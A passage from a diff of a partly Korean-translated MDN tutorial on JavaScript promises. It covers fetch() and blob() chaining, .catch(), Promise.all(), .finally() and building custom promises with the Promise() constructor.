+  <p>작업이 성공적으로 진행될 때를 대응하기 위해 (이번 예제에선 {{domxref("Response")}} 가 반환될 때 입니다. ), 우리는 Promise 오브젝트의 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/then">.then()</a></code> 메서드를 호출합니다. <code>.then()</code> 블럭 안의 callback은 (<strong>executor </strong>라고 부름) Promise가 성공적으로 완료되고{{domxref("Response")}} 오브젝트를 반환할 때만 실행합니다. — 이렇게 성공한 Promise의 상태를 <strong>fulfilled</strong>라고 부릅니다. 그리고 반환된 {{domxref("Response")}} 오브젝트를 매개변수로 전달합니다.</p>
+
+  <div class="blockIndicator note">
+  <p><strong>Note</strong>: The way that a <code>.then()</code> block works is similar to when you add an event listener to an object using <code>AddEventListener()</code>. It doesn't run until an event occurs (when the promise fulfills). The most notable difference is that a .then() will only run once for each time it is used, whereas an event listener could be invoked multiple times.</p>
+  </div>
+
+  <p>그리고 즉시 <code>blob()</code> 메서드를 실행하여 Response Body가 완전히 다운로드 됐는지 확인합니다. 그리고 Response Body가 이용 가능할 때 추가 작업을 할 수 있는 <code>Blob</code> 오브젝트로 변환시킵니다. 해당 코드는 아래와 같이 작성할 수 있습니다. :</p>
+
+  <pre class="brush: js notranslate">response =&gt; response.blob()</pre>
+
+  <p>위의 코드는 아래의 코드를 축약한 형태입니다. </p>
+
+  <pre class="brush: js notranslate">function(response) {
+  return response.blob();
+}</pre>
+
+  <p>이제 추가 설명은 충븐하므로, JavaScript의 첫 번째 줄 아래에 다음과 같은 라인을 추가하세요.</p>
+
+  <pre class="brush: js notranslate">let promise2 = promise.then(response =&gt; response.blob());</pre>
+ </li>
+ <li>
+  <p>각 <code>.then()</code> 을 호출하면 새로운 Promise를 만드는데, 이는 매우 유용합니다. 왜냐하면 <code>blob()</code> 메서드도 Promise를 반환하기 때문에, 두 번째 Promise의 <code>.then()</code> 메서드를 호출함으로써 이행시 반환되는 <code>Blob</code> 오브젝트를 처리할 수 있습니다. 한 가지 메서드를 실행하여 결과를 반환하는 것보다 Blob에 좀 더 복잡한 일을 추가하고 싶습니다. 이럴때는 중괄호{ }로 묶습니다. (그렇지 않으면 에러가 발생합니다.).</p>
+
+  <p>이어서 아래와 같은 코드를 추가합니다.:</p>
+
+  <pre class="brush: js notranslate">let promise3 = promise2.then(myBlob =&gt; {
+
+})</pre>
+ </li>
+ <li>
+  <p>이제 executor 함수를 아래와 같이 채워넣습니다. 중괄호 안에 작성하면 됩니다. :</p>
+
+  <pre class="brush: js notranslate">let objectURL = URL.createObjectURL(myBlob);
+let image = document.createElement('img');
+image.src = objectURL;
+document.body.appendChild(image);</pre>
+
+  <p>여기서 우리는 두 번째 Promise가 fulfills일 때 반횐된 Blob을 매개변수로 전달받는 {{domxref("URL.createObjectURL()")}} 메서드를 실행하고 있습니다. 이렇게 하면 오브젝트가 가지고있는 URL이 반환됩니다. 그 다음 {{htmlelement("img")}} 엘리먼트를 만들고, 반환된 URL을 <code>src</code> 속성에 지정하여 DOM에 추가합니다. 이렇게 하면 페이지에 그림이 표시됩니다.</p>
+ </li>
+</ol>
+
+<p>If you save the HTML file you've just created and load it in your browser, you'll see that the image is displayed in the page as expected. Good work!</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: You will probably notice that these examples are somewhat contrived. You could just do away with the whole <code>fetch()</code> and <code>blob()</code> chain, and just create an <code>&lt;img&gt;</code> element and set its <code>src</code> attribute value to the URL of the image file, <code>coffee.jpg</code>. We did, however, pick this example because it demonstrates promises in a nice simple fashion, rather than for its real-world appropriateness.</p>
+</div>
+
+<h3 id="Responding_to_failure">Responding to failure</h3>
+
+<p>현재 에러가 발생했을 때 어떻게 처리를 해야할 지 작성된 코드가 없기때문에 코드를 조금만 더 추가하여 좀 더 완벽하게 작성해봅시다. (Promise에서 에러가 발생한 상태를 <strong>rejects</strong>라 부릅니다). 이전에 봤던대로 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/catch">.catch()</a></code> 블럭을 추가하여 오류를 핸들링 할 수 있습니다. 아래처럼 말이죠 :</p>
+
+<pre class="brush: js notranslate">let errorCase = promise3.catch(e =&gt; {
+  console.log('There has been a problem with your fetch operation: ' + e.message);
+});</pre>
+
+<p>에러 메시지를 확인하고 싶으면 잘못된 url을 지정해보세요, 개발자 도구 콘솔에서 에러를 확인할 수 있을것 입니다.</p>
+
+<p>물론 <code>.catch()</code> 블록 없이 코드를 작동시킬 수 있습니다. 하지만 좀 더 깊게 생각해보면 <code>.catch()</code> 블록이 없으면 어떤 에러가 발생했는지, 어떻게 해결해야 하는지 디버깅이 어렵습니다. 실제 앱에서 <code>.catch()</code> 을 사용하여 이미지 가져오기를 다시 실행하거나, 기본 이미지를 표시하는 등 작업을 지시할 수 있습니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: You can see <a href="https://mdn.github.io/learning-area/javascript/asynchronous/promises/simple-fetch.html">our version of the example live</a> (see the <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/simple-fetch.html">source code</a> also).</p>
+</div>
+
+<h3 id="Chaining_the_blocks_together">Chaining the blocks together</h3>
+
+<p>위에서 사용한 코드는 작업이 어떻게 처리되는지 명확하게 보여주기 위해 매우 길게 코드를 작성했습니다. 이전 글에서 봤듯이, <code>.then()</code> 블럭을 사용하여 연쇄 작업을 진행할 수 있습니다. (또한 <code>.catch()</code> 블럭을 사용하여 에러 처리도 했지요). 앞선 예제의 코드는 아래와 같이 작성할 수도 있습니다. (see also <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/simple-fetch-chained.html">simple-fetch-chained.html</a> on GitHub):</p>
+
+<pre class="brush: js notranslate">fetch('coffee.jpg')
+.then(response =&gt; response.blob())
+.then(myBlob =&gt; {
+  let objectURL = URL.createObjectURL(myBlob);
+  let image = document.createElement('img');
+  image.src = objectURL;
+  document.body.appendChild(image);
+})
+.catch(e =&gt; {
+  console.log('There has been a problem with your fetch operation: ' + e.message);
+});</pre>
+
+<p>fulfilled promise 결과에 의해 반환된 값이 다음 <code>.then()</code> 블록의  executor 함수가 가진 파라미터로 전달 된다는 것을 꼭 기억하세요.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: <code>.then()</code>/<code>.catch()</code> blocks in promises are basically the async equivalent of a <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch">try...catch</a></code> block in sync code. Bear in mind that synchronous <code>try...catch</code> won't work in async code.</p>
+</div>
+
+<h2 id="Promise_terminology_recap">Promise terminology recap</h2>
+
+<p>위의 섹션에서 다룬 내용은 정말 많습니다. 매우 중요한 내용을 다뤘으므로 개념을 명확히 이해하기 위해 몇번이고 다시 읽어보는게 좋습니다.</p>
+
+<ol>
+ <li>Promise가 생성되면 그 상태는 성공도 실패도 아닌 <strong>pending</strong>상태라고 부릅니다..</li>
+ <li>Promise결과가 반환되면 결과에 상관 없이 <strong>resolved</strong>상태라고 부릅니다..
+  <ol>
+   <li>성공적으로 처리된 Promise는 <strong>fulfilled</strong>상태이다. 이 상태가 되면 Promise 체인의 다음 <code>.then()</code> 블럭에서 사용할 수 있는 값을 반환합니다.. 그리고 <code>.then()</code> 블럭 내부의 executor 함수에 Promise에서 반환된 값이 파라미터로 전달됩니다..</li>
+   <li>실패한 Promise는 <strong>rejected</strong>상태이다. 이때 어떤 이유(<strong>reason)</strong> 때문에 Promise가 rejected 됐는지를 나타내는 에러 메시지를 포함한 결과가 반환됩니다. Promise 체이닝의 제일 마지막 <code>.catch()</code> 에서 상세한 에러 메시지를 확인할 수 있습니다.</li>
+  </ol>
+ </li>
+</ol>
+
+<h2 id="Running_code_in_response_to_multiple_promises_fulfilling">Running code in response to multiple promises fulfilling</h2>
+
+<p>위의 예제에서 Promise사용의 기초를 확인했습니다. 이제 고급 기능들을 한번 보겠습니다. 제일 먼저 확인해볼 예제는 다음과 같습니다. 연쇄적으로 일어나는 작업은 좋습니다. 그런데 모든 Promise가 fulfilled일 경우 코드를 실행하고 싶은 경우가 있을것 입니다.</p>
+
+<p>해당 기능을 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/all">Promise.all()</a></code> 이라는 스테틱 메서드를 사용하여 만들 수 있습니다. 이 메서드는 Promise의 배열을 매개변수로 삼고, 배열의 모든 Promise가 fulfil일 때만 새로운 fulfil <code>Promise</code> 오브젝트를 반환합니다. 아래처럼 말이죠 :</p>
+
+<pre class="brush: js notranslate">Promise.all([a, b, c]).then(values =&gt; {
+  ...
+});</pre>
+
+<p>배열의 모든 Promise가 fulfil 이면, <code>.then()</code> 블럭의 executor 함수로의 매개변수로 Promise 결과의 배열을 전달합니다. <code>Promise.all()</code> 의 Promise의 배열 중 하나라도 reject라면, 전체 결과가 reject가 됩니다.</p>
+
+<p>이 방법은 매우 유용합니다. 웹 UI의 컨텐츠를 동적인 방법으로 채운다고 생각 해보겠습니다. 대부분 경우에 듬성듬성 내용을 채우기보단, 완전한 내용을 채울것 입니다.</p>
+
+<p>다른 예제를 만들어서 실행해 보겠습니다.</p>
+
+<ol>
+ <li>
+  <p>이미 만들어진 <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">page template</a>을 다운받으세요 그리고 <code>&lt;/body&gt;</code> 뒤에 <code>&lt;script&gt;</code> 엘리먼트를 만들어주세요.</p>
+ </li>
+ <li>
+  <p>이미지 그리고 텍스트 파일(<a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/coffee.jpg">coffee.jpg</a>, <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/tea.jpg">tea.jpg</a>, and <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/description.txt">description.txt</a>)을 다운받고 <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">page template</a> 와 같은 경로에 저장해주세요.</p>
+ </li>
+ <li>
+  <p>먼저 Promise를 반환하는 몇 가지 함수를 만들어 <code>Promise.all()</code>로 결과를 반환합니다. 세 개의 <code>fetch()</code> 작업이 끝나고 다음 요청을 진행하고 싶다면 아래 코드처럼 <code>Promise.all()</code>블럭을 작성합니다. :</p>
+
+  <pre class="brush: js notranslate">let a = fetch(url1);
+let b = fetch(url2);
+let c = fetch(url3);
+
+Promise.all([a, b, c]).then(values =&gt; {
+  ...
+});</pre>
+
+  <p>Promise가 fulfilled가 됐을 때, fulfilment handler 핸들러로 전달된 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">values</span></font> 매개변수에는 각 <code>fetch()</code> 의 결과로 발생한 세 개의 <code>Response</code> 오브젝트가 들어있습니다 .</p>
+
+  <p>하지만 우리는 단순히 결과만 넘겨주고 싶지 않습니다. 우리는<code>fetch()</code> 언제 끝나는지 보다 불러온 데이터에 더 관심이 있습니다. 그말은 브라우저에 표현할 수 있는 Blob과 텍스트 문자열이 불러와 졌을 때 <code>Promise.all()</code> 블럭을 실행하고 싶다는 것 입니다.  <code>&lt;script&gt;</code> 엘리먼트에 아래와 같이 작성합니다. :</p>
+
+  <pre class="brush: js notranslate">function fetchAndDecode(url, type) {
+  return fetch(url).then(response =&gt; {
+    if (type === 'blob') {
+      return response.blob();
+    } else if (type === 'text') {
+      return response.text();
+    }
+  })
+  .catch(e =&gt; {
+    console.log('There has been a problem with your fetch operation: ' + e.message);
+  });
+}</pre>
+
+  <p>살짝 복잡해 보이므로 하나하나 살펴봅시다. :</p>
+
+  <ol>
+   <li>먼저 fetchAndDecode() 함수를 정의했고 함수의 매개변수로 컨텐츠의 URL과 가져오는 리소스의 타입을 지정합니다.</li>
+   <li>함수 내부에 첫 번째 예에서 본 것과 유사한 구조를 가진 코드가 있습니다. — <code>fetch()</code> 함수를 호출하여 전달받은 URL에서 리소스를 받아오도록 했습니다. 그리고 다음 Promise를 연쇄적으로 호출하여 디코딩된 (혹은 "읽은") Response Body를 반환하게 합니다. 이전 예에선 Blob만을 가져오기 때문에 <code>blob()</code> 메서드만 썼습니다.</li>
+   <li>여기에선 이전과 다른 두 가지가 있습니다. :
+    <ul>
+     <li>먼저 두 번째 Promise에서는 불러올 리소스의 <code>type</code> 이 무엇인지에 따라 반환받는 데이터가 다릅니다. executor 함수 내부에, 간단한 <code>if ... else if</code> 구문을 사용하여 어떤 종류의 파일을 디코딩해야 하는지에 따라 다른 Promise를 반환하게 했습니다. (이 경우 <code>blob</code> 이나 <code>text</code>밖에 없지만, 이것을 잘 활용하여 다른 코드에 확장하여 적용할 수 있습니다.).</li>
+     <li>두 번째로,  <code>fetch()</code> 호출 앞에 <code>return</code> 키워드를 추가했습니다. 이렇게 하면 Promise 체이닝의 마지막 결과값을 함수의 결과로 반환해 줄 수 있습니다. (이 경우 <code>blob()</code> 혹은 <code>text()</code>메서드에 의해 반환된 Promise 입니다.) 사실상 <code>fetch()</code> 앞의 <code>return</code> 구문은 체이닝 결과를 다시 상단으로 전달하는 행위 입니다.</li>
+    </ul>
+   </li>
+   <li>
+    <p>블럭의 마지막에는 <code>.catch()</code> 블럭을 추가하여 작업중 발생한 에러를 <code>.all()</code>의 배열로 전달합니다. 아무 Promise에서 reject가 발생하면, catch 블럭은 어떤 Promise에서 에러가 발생했는지 알려줄 것 입니다.  <code>.all()</code> (아래쪽에 있는) 블럭의 리소스에 문제가 있지 않는 이상 항상 fulfil일것 입니다. <code>.all</code> 블럭의 마지막 체이닝에 <code>.catch()</code> 블럭을 추가하여 reject됐을때 확인을 할 수 있습니다.</p>
+   </li>
+  </ol>
+
+  <p>함수의 body 안에 있는 코드는 비동기적이고 Promise 기반이므로, 전체 함수는 Promise로 작동합니다. — 편리하죠?.</p>
+ </li>
+ <li>
+  <p>다음으로 fetchAndDecode() 함수를 세 번 호출하여 이미지와 텍스트를 가져오고 디코딩 하는 과정을 시작합니다. 그리고 반환된 Promise를 각각의 변수에 저장합니다. 이전 코드에 이어서 아래 코드를 추가하세요. :</p>
+
+  <pre class="brush: js notranslate">let coffee = fetchAndDecode('coffee.jpg', 'blob');
+let tea = fetchAndDecode('tea.jpg', 'blob');
+let description = fetchAndDecode('description.txt', 'text');</pre>
+ </li>
+ <li>
+  <p>다음으로 위의 세 가지 코드가 모두 fulfilled가 됐을 때 원하는 코드를 실행하기 위해 <code>Promise.all()</code> 블럭을 만듭니다. 우선, <code>.then()</code> call 안에 비어있는 executor 를 추가하세요 :</p>
+
+  <pre class="brush: js notranslate">Promise.all([coffee, tea, description]).then(values =&gt; {
+
+});</pre>
+
+  <p>위에서 Promise를 포함하는 배열을 매개 변수로 사용하는 것을 확인할 수 있습니다. executor는 세 가지 Promise가 resolve될 때만 실행될 것 입니다. 그리고 executor가 실행될 때 개별적인 Promise의 결과를 포함하는 [coffee-results, tea-results, description-results] 배열을 매개 변수로 전달받을 것 입니다.  (여기선 디코딩된 Response Body 입니다.).</p>
+ </li>
+ <li>
+  <p>마지막으로 executor 함수를 작성합니다. 예제에선 반환된 결과를 별도의 변수로 저장하기 위해 간단한 동기화 코드를 사용합니다. (Blob에서 오브젝트 URLs 생성), 그리고 페이지에 텍스트와 이미지를 표시합니다.</p>
+
+  <pre class="brush: js notranslate">console.log(values);
+// Store each value returned from the promises in separate variables; create object URLs from the blobs
+let objectURL1 = URL.createObjectURL(values[0]);
+let objectURL2 = URL.createObjectURL(values[1]);
+let descText = values[2];
+
+// Display the images in &lt;img&gt; elements
+let image1 = document.createElement('img');
+let image2 = document.createElement('img');
+image1.src = objectURL1;
+image2.src = objectURL2;
+document.body.appendChild(image1);
+document.body.appendChild(image2);
+
+// Display the text in a paragraph
+let para = document.createElement('p');
+para.textContent = descText;
+document.body.appendChild(para);</pre>
+ </li>
+ <li>
+  <p>코드를 저장하고 창을 새로고치면 보기엔 좋지 않지만, UI 구성 요소가 모두 표시된 것을 볼 수 있습니다.</p>
+ </li>
+</ol>
+
+<p>여기서 제공한 코드는 매우 기초적이지만, 내용을 전달하기에는 아주 좋습니다..</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: If you get stuck, you can compare your version of the code to ours, to see what it is meant to look like — <a href="https://mdn.github.io/learning-area/javascript/asynchronous/promises/promise-all.html">see it live</a>, and see the <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/promise-all.html">source code</a>.</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: If you were improving this code, you might want to loop through a list of items to display, fetching and decoding each one, and then loop through the results inside <code>Promise.all()</code>, running a different function to display each one depending on what the type of code was. This would make it work for any number of items, not just three.</p>
+
+<p>Also, you could determine what the type of file is being fetched without needing an explicit <code>type</code> property. You could, for example, check the {{HTTPHeader("Content-Type")}} HTTP header of the response in each case using <code><a href="/en-US/docs/Web/API/Headers/get">response.headers.get("content-type")</a></code>, and then react accordingly.</p>
+</div>
+
+<h2 id="Running_some_final_code_after_a_promise_fulfillsrejects">Running some final code after a promise fulfills/rejects</h2>
+
+<p>Promise의 결과가 fulfilled 인지 rejected인지 관계 없이 Promise가 완료된 후 최종 코드 블럭을 실행하려는 경우가 있을 것입니다. 이전에는 아래 예시처럼 <code>.then()</code> 블럭과<code>.catch()</code> 블럭의 callbacks에 아래와 같이 runFinalCode()를 넣었었습니다. :</p>
+
+<pre class="brush: js notranslate">myPromise
+.then(response =&gt; {
+  doSomething(response);
+  runFinalCode();
+})
+.catch(e =&gt; {
+  returnError(e);
+  runFinalCode();
+});</pre>
+
+<p>보다 최근의 현대 브라우저에서는 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/finally">.finally()</a></code> 메서드를 사용할 수 있습니다. 이 메서드를 Promise 체이닝의 끝에 배치하여 코드 반복을 줄이고 좀 더 우아하게 일을 처리할 수 있습니다. 아래와 같이 마지막 블럭에 적용할 수 있습니다. :</p>
+
+<pre class="brush: js notranslate">myPromise
+.then(response =&gt; {
+  doSomething(response);
+})
+.catch(e =&gt; {
+  returnError(e);
+})
+.finally(() =&gt; {
+  runFinalCode();
+});</pre>
+
+<p>실제 예시는 <a href="https://mdn.github.io/learning-area/javascript/asynchronous/promises/promise-finally.html">promise-finally.html demo</a> 에 나와있습니다. (see the <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/promise-finally.html">source code</a> also). 이 예시는 위에서 만들어본 <code>Promise.all()</code> 데모와 똑같이 작동합니다. 다만 이번에는 <code>fetchAndDecode()</code> 함수에 다음 연쇄 작업으로 <code>finally()</code> 를 호출합니다.:</p>
+
+<pre class="brush: js notranslate">function fetchAndDecode(url, type) {
+  return fetch(url).then(response =&gt; {
+    if(type === 'blob') {
+      return response.blob();
+    } else if(type === 'text') {
+      return response.text();
+    }
+  })
+  .catch(e =&gt; {
+    console.log(`There has been a problem with your fetch operation for resource "${url}": ` + e.message);
+  })
+  .finally(() =&gt; {
+    console.log(`fetch attempt for "${url}" finished.`);
+  });
+}</pre>
+
+<p>이 로그는 각 fetch시도가 완료되면 콘솔에 메시지를 출력하여 사용자에게 알려줍니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: <code>then()</code>/<code>catch()</code>/<code>finally()</code> is the async equivalent to <code>try</code>/<code>catch</code>/<code>finally</code> in sync code.</p>
+</div>
+
+<h2 id="Building_your_own_custom_promises">Building your own custom promises</h2>
+
+<p>여기까지 오느라 수고하셨습니다. 여기까지 오면서 우리는 Promise를 직접 만들어봤습니다. 여러 개의 Promise를 <code>.then()</code> 을 사용하여 체이닝 하거나 사용자 정의함수를 조합하여, 비동기 Promise기반 함수를 만들었습니다. 이전에 만든 <code>fetchAndDecode()</code> 함수가 이를 잘 보여주고있죠.</p>
+
+<p>다양한 Promise 기반 API를 결합하여 사용자 정의 함수를 만드는 것은, Promise와 함께 원하는 기능을 만드는 가장 일반적인 방법이며, 대부분 모던 API는 이와 같은 원리를 기반으로 만들어지고 있습니다. 그리고 또 다른 방법이 있습니다.</p>
+
+<h3 id="Using_the_Promise_constructor">Using the Promise() constructor</h3>
+
+<p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise()</a></code> constructor를 사용하여 사용자 정의 Promise를 만들 수 있습니다. 주로 Promise기반이 아닌 구식 비동기 API코드를 Promise기반 코드로 만들고 싶을 경우 사용합니다. 이 방법은 구식 프로젝트 코드, 라이브러리, 혹은 프레임워크를 지금의 Promise 코드와 함께 사용할 때 유용합니다.</p>
+
+<p>간단한 예를 들어 살펴보겠습니다. — 여기 Promise와 함께 사용되는 <code><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout">setTimeout()</a></code> 호출이 있습니다. — 이 함수는 2초 후에 "Success!"라는 문자열과 함께 resolve됩니다. (통과된 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/resolve">resolve()</a></code> 호출에 의해);</p>
+
+<pre class="brush: js notranslate">let timeoutPromise = new Promise((resolve, reject) =&gt; {
+  setTimeout(function(){
+    resolve('Success!');
+  }, 2000);
+});</pre>
+
+<p><code>resolve()</code> 와<code>reject()</code> 는 Promise의 fulful / reject일때의 일을 수행하기 위해 호출한 함수입니다. 이번의 경우 Promise는 "Success!"문자와 함께 fulfill 됐습니다.</p>
+
+<p>따라서 이 Promise를 호출할 때, 그 끝에 <code>.then()</code> 블럭을 사용하면 "Success!" 문자열이 전달될 것입니다. 아래 코드는 간단한 alert메시지를 출력하는 방법 입니다. :</p>
+
+<pre class="brush: js notranslate">timeoutPromise
+.then((message) =&gt; {
+   alert(message);
+})</pre>
+
+<p>혹은 아래처럼 쓸 수 있죠</p>
+
+<pre class="brush: js notranslate">timeoutPromise.then(alert);
+</pre>
+
+<p>Try <a href="https://mdn.github.io/learning-area/javascript/asynchronous/promises/custom-promise.html">running this live</a> to see the result (also see the <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/custom-promise.html">source code</a>).</p>
+
+<p>위의 예시는 유연하게 적용된 예시가 아닙니다. — Promise는 항산 하나의 문자열로만 fulfil됩니다. 그리고 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/reject">reject()</a></code> 조건도 정의되어있지 않습니다. (사실, <code>setTimeout()</code> 은 실패 조건이 필요없습니다, 그러니 이 예제에서는 없어도 됩니다.).</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: Why <code>resolve()</code>, and not <code>fulfill()</code>? The answer we'll give you, for now, is <em>it's complicated</em>.</p>
+</div>
+
+<h3 id="Rejecting_a_custom_promise">Rejecting a custom promise</h3>
+
+<p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/reject">reject()</a></code> 메서드를 사용하여 Promise가 reject상태일 때 전달할 값을 지정할 수 있습니다. —  <code>resolve()</code>와 똑같습니다. 여기엔 하나의 값만 들어갈 수 있습니다. Promise가 reject 되면 에러는 <code>.catch()</code> 블럭으로 전달됩니다.</p>
+
+<p>이전 예시를 좀 더 확장하여 <code>reject()</code> 을 추가하고, Promise가 fulfil일 때 다른 메시지도 전달할 수 있게 만들어봅시다.</p>
+
+<p>이전 예시 <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/custom-promise.html">previous example</a>를 복사한 후 이미 있는 <code>timeoutPromise()</code> 함수를 아래처럼 정의해주세요. :</p>
+
+<pre class="brush: js notranslate">function timeoutPromise(message, interval) {
+  return new Promise((resolve, reject) =&gt; {
+    if (message === '' || typeof message !== 'string') {
+      reject('Message is empty or not a string');
+    } else if (interval &lt; 0 || typeof interval !== 'number') {
+      reject('Interval is negative or not a number');
+    } else {
+      setTimeout(function(){
+        resolve(message);
+      }, interval);
+    }
+  });
+};</pre>
+
+<p>함수를 살펴보면 두 가지 매개변수가 있습니다. — 출력할 메시지와(<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">message</span></font>) 메시지를 출력할 때 까지 기다릴 시간(<code>interval</code>)입니다. 맨 위에 <code>Promise</code> 오브젝트를 반환하도록 되어있습니다. 따라서 함수를 실행하면 우리가 사용하고 싶은 Promise가 반환될 것 입니다..</p>
+
+<p>Promise constructor 안에는 몇가지 사항을 확인하기 위해 <code>if ... else</code> 구문이 있습니다. :</p>
+
+<ol>
+ <li>첫번째로 메시지의 유효성을 검사합니다. 메시지가 비어있거나 문자가 아닌 경우, 에러 메시지와 함께 Promise를 reject합니다.</li>
+ <li>그 다음으로 interval의 유효성을 검사합니다. 숫자가 아니거나 음수일 경우, 에러 메시지와 함께 Promise를 reject합니다.</li>
+ <li>마지막은 항목은, 두 매개변수를 확인하여 유효할 경우 <code>setTimeout()</code>함수에 지정된 interval에 맞춰 Promise를 resolve합니다.</li>
+</ol>
+
+<p><code>timeoutPromise()</code> 함수는 <code>Promise</code>를 반환하므로,  <code>.then()</code>, <code>.catch()</code>, 기타등등 을 사용해 Promise 체이닝을 만들 수 있습니다. 아래와 같이 작성해봅시다. — 기존에 있는 <code>timeoutPromise</code> 를 삭제하고 아래처럼 바꿔주세요. :</p>
+
+<pre class="brush: js notranslate">timeoutPromise('Hello there!', 1000)
+.then(message =&gt; {
+   alert(message);
+})
+.catch(e =&gt; {
+  console.log('Error: ' + e);
+});</pre>
+
+<p>이 코드를 저장하고 브라우저를 새로 고침하면 1초 후에 'Hello there!' alert가 출력될 것 입니다. 이제 메시지 내용을 비우거나 interval을 음수로 지정해보세요 그렇게 하면 Promise가 reject되며 에러 메시지를 콘솔에 출력해 줄 것입니다. 또한 resolved 메시지를 다르게 만들어 줄 수도 있습니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: You can find our version of this example on GitHub as <a href="https://mdn.github.io/learning-area/javascript/asynchronous/promises/custom-promise2.html">custom-promise2.html</a> (see also the <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/custom-promise2.html">source code</a>).</p>
+</div>
+
+<h3 id="A_more_real-world_example">A more real-world example</h3>
+
+<p>위의 예제는 개념을 이해하기 쉽게 단순하게 만들었지만, 실제로 그다지 비동기적이지는 않습니다. 억지로 비동기적 작업을 구현하기 위해 <code>setTimeout()</code>을 사용하여 함수를 만들었지만 사용자 정의 Promise를 만들고 에러를 다루기엔 충분한 예제였습니다.</p>
+
+<p>좀 더 공부해볼 추가내용을 소개해주고 싶습니다. 바로 <a href="https://github.com/jakearchibald/idb/">Jake Archibald's idb library</a>입니다 이 라이브러리는 <code>Promise()</code> constructor의 비동기작업 응용을 보여주는 유용한 라이브러리 입니다. 클라이언트측에서 데이터를 저장하고 검색하기 위한 구식 callback 기반 API로 Promise와 함께 사용하는 <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB API</a>입니다. <a href="https://github.com/jakearchibald/idb/blob/master/lib/idb.js">main library file</a>을 살펴보면 우리가 지금까지 다뤄본것과 같은 종류의 테크닉을 볼 수 있습니다. 아래 코드 블록은 basic request model이 Promise를 사용하게끔 변환해 주는 IndexedDB 메서드 입니다. :</p>
+
+<pre class="brush: js notranslate">function promisifyRequest(request) {
+  return new Promise(function(resolve, reject) {
+    request.onsuccess = function() {
+      resolve(request.result);
+    };
+
+    request.onerror = function() {
+      reject(request.error);
+    };
+  });
+}</pre>
+
+<p>우리가 했던것 처럼 적절한 타이밍에 Promise를 fulfil하고 reject하는 이벤트 핸들러를 두 개 추가했습니다. :</p>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/API/IDBRequest">request</a></code>의 <a href="/en-US/docs/Web/API/IDBRequest/success_event"><code>success</code> event</a>가 실행될 때, <code><a href="/en-US/docs/Web/API/IDBRequest/onsuccess">onsuccess</a></code> 핸들러에 의해 fulfill된 Promise의 request <code><a href="/en-US/docs/Web/API/IDBRequest/result">result</a></code>를 반환한다.</li>
+ <li>반면 <code><a href="/en-US/docs/Web/API/IDBRequest">request</a></code>'s <a href="/en-US/docs/Web/API/IDBRequest/error_event"><code>error</code> event</a>가 실행되면 <code><a href="/en-US/docs/Web/API/IDBRequest/onerror">onerror</a></code> 핸들러에 의해 reject된 Promise의 request <code><a href="/en-US/docs/Web/API/IDBRequest/error">error</a></code>를 반환한다.</li>
+</ul>
+
+<h2 id="Conclusion">Conclusion</h2>
+
+<p>Promises are a good way to build asynchronous applications when we don’t know the return value of a function or how long it will take to return. They make it easier to express and reason about sequences of asynchronous operations without deeply nested callbacks, and they support a style of error handling that is similar to the synchronous <code>try...catch</code> statement.</p>
+
+<p>Promises work in the latest versions of all modern browsers; the only place where promise support will be a problem is in Opera Mini and IE11 and earlier versions.</p>
+
+<p>We didn't touch on all promise features in this article, just the most interesting and useful ones. As you start to learn more about promises, you'll come across further features and techniques.</p>
+
+<p>Most modern Web APIs are promise-based, so you'll need to understand promises to get the most out of them. Among those APIs are <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a>, <a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a>, <a href="/en-US/docs/Web/API/Media_Streams_API">Media Capture and Streams</a>, and many more. Promises will be more and more important as time goes on, so learning to use and understand them is an important step in learning modern JavaScript.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise()</a></code></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Using_promises">Using promises</a></li>
+ <li><a href="https://pouchdb.com/2015/05/18/we-have-a-problem-with-promises.html">We have a problem with promises</a> by Nolan Lawson</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Timeouts_and_intervals", "Learn/JavaScript/Asynchronous/Async_await", "Learn/JavaScript/Asynchronous")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
